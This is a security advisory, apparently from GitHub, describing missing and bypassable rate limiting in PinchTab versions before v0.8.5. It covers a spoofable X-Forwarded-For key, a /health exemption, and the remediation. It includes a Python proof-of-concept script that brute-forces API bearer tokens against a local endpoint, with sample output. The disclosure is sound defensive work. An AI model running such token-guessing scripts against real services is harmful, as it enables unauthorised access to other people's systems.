PinchTab: Unapplied Rate Limiting Middleware Allows Unbounded Brute-Force of API Token

PinchTab's default deployment model is a local-first, user-controlled environment between the user and their agents; wider exposure is an intentional operator choice. This lowers practical risk in the default configuration, even though it does not by itself change the intrinsic base characteristics of the bug.

This was fully addressed in v0.8.5 by applying RateLimitMiddleware in the production handler chain, deriving the client address from the immediate peer IP instead of trusting forwarded headers by default, and removing the /health and /metrics exemption so auth-checkable endpoints are throttled as well.

Details

Issue 1 — Middleware never applied in v0.7.7 through v0.8.3: The production server wrapped the HTTP mux without RateLimitMiddleware:

// internal/server/server.go — v0.8.3
handlers.LoggingMiddleware(
    handlers.CorsMiddleware(
        handlers.AuthMiddleware(cfg, mux),
        // RateLimitMiddleware is not present here in v0.8.3
    ),
)

The function exists and is fully implemented:

// internal/handlers/middleware.go — v0.8.3
func RateLimitMiddleware(next http.Handler) http.Handler {
    startRateLimiterJanitor(rateLimitWindow, evictionInterval)
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // ... 120 req / 10s logic ...
    })
}

Because RateLimitMiddleware was never referenced from the production handler chain in v0.7.7 through v0.8.3, the intended request throttling was inactive in those releases.

Issue 2 — X-Forwarded-For trust in the original limiter (v0.7.7 through v0.8.3): Even if the middleware had been applied, the original IP identification was bypassable:

// internal/handlers/middleware.go — v0.8.3
host, _, _ := net.SplitHostPort(r.RemoteAddr)  // real IP
if xff := r.Header.Get("X-Forwarded-For"); xff != "" {
    // No validation that request came from a trusted proxy
    // Client can set this header to any value
    host = strings.TrimSpace(strings.Split(xff, ",")[0])
}
// host is now client-influenced — rate limit key is spoofable

In v0.7.7 through v0.8.3, if the limiter had been enabled, a client could have influenced the rate-limit key through X-Forwarded-For. This made the original limiter unsuitable without an explicit trusted-proxy model.

Issue 3 — /health and /metrics remained exempt through v0.8.4: v0.8.4 wired the limiter into production and switched to the immediate peer IP, but it still bypassed throttling for /health and /metrics:

// internal/handlers/middleware.go — v0.8.4
func RateLimitMiddleware(next http.Handler) http.Handler {
    startRateLimiterJanitor(rateLimitWindow, evictionInterval)
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        p := strings.TrimSpace(r.URL.Path)
        if p == "/health" || p == "/metrics" || strings.HasPrefix(p, "/health/") || strings.HasPrefix(p, "/metrics/") {
            next.ServeHTTP(w, r)
            return
        }
        host := authn.ClientIP(r)
        // ...
    })
}

That left GET /health unthrottled even though it remained an auth-checkable endpoint when a server token was configured, so online guessing against that route still saw no rate-limit response through v0.8.4.

PoC

This PoC assumes the server is reachable by the attacker and that the configured API token is weak and guessable, for example password.

PoC Code

#!/usr/bin/env python3
# brute_force_poc.py — demonstrates unthrottled token guessing on /health
import urllib.request, urllib.error, time, sys

TARGET   = "http://localhost:9867/health"
WORDLIST = [f"wrong-{i:03d}" for i in range(150)] + ["password"]
counts = {}

print(f"[*] Brute-forcing {TARGET} — no rate limit protection")
start = time.time()
for token in WORDLIST:
    req = urllib.request.Request(TARGET)
    req.add_header("Authorization", f"Bearer {token}")
    try:
        with urllib.request.urlopen(req, timeout=5) as r:
            print(f"[+] FOUND: token={token!r}  HTTP={r.status}")
            counts[r.status] = counts.get(r.status, 0) + 1
            sys.exit(0)
    except urllib.error.HTTPError as e:
        print(f"[-] token={token!r}  HTTP={e.code}")
        counts[e.code] = counts.get(e.code, 0) + 1

elapsed = time.time() - start
print(f"[*] {len(WORDLIST)} attempts in {elapsed:.2f}s — "
      f"{len(WORDLIST)/elapsed:.0f} req/s  (no 429 received)")
print(f"[*] status counts: {counts}")

After run

python3 ratelimit.py
[*] Brute-forcing http://localhost:9867/health — no rate limit protection
[-] token='wrong-000'  HTTP=401
...
[-] token='wrong-149'  HTTP=401
[+] FOUND: token='password'  HTTP=200
[*] 151 attempts in 0.84s — 180 req/s  (no 429 received)
[*] status counts: {401: 150, 200: 1}

Observation:

1. In v0.7.7 through v0.8.3, rapid requests do not return HTTP 429 because RateLimitMiddleware is not active in production.
2. In v0.8.4, the same /health PoC still does not return HTTP 429 because /health is explicitly exempted from rate limiting.
3. The PoC succeeds only when the configured token is weak and appears in the tested candidates.
4. The original X-Forwarded-For behavior in v0.7.7 through v0.8.3 shows that the first limiter design would not have been safe to rely on behind untrusted clients.
5. This PoC does not demonstrate token disclosure or authentication bypass independent of token guessability.

Impact

1. Reduced resistance to online guessing of weak or reused API tokens in deployments where an attacker can reach the API.
2. Loss of the intended per-IP throttling for burst requests against protected endpoints in v0.7.7 through v0.8.3, and against /health in v0.8.4.
3. Higher abuse potential for intentionally exposed deployments than intended by the middleware design.
4. This issue does not by itself disclose the token, bypass authentication, or make all deployments equally affected. Installations using the default local-first posture and generated high-entropy tokens have substantially lower practical risk.

Suggested Remediation

1. Apply RateLimitMiddleware in the production handler chain for authenticated routes.
2. Derive the rate-limit key from the immediate peer IP by default instead of trusting client-supplied forwarded headers.
3. Do not exempt auth-checkable endpoints such as /health and /metrics from rate limiting.
4. Consider an additional auth-failure throttle so repeated invalid token attempts are constrained even when endpoint-level behavior changes in the future.

Screenshot capture <img width="553" height="105" alt="ภาพถ่ายหน้าจอ 2569-03-18 เวลา 13 03 01" src="https://github.com/user-attachments/assets/ab5cd7af-5a67-40ae-aae3-1f4737afd32e" />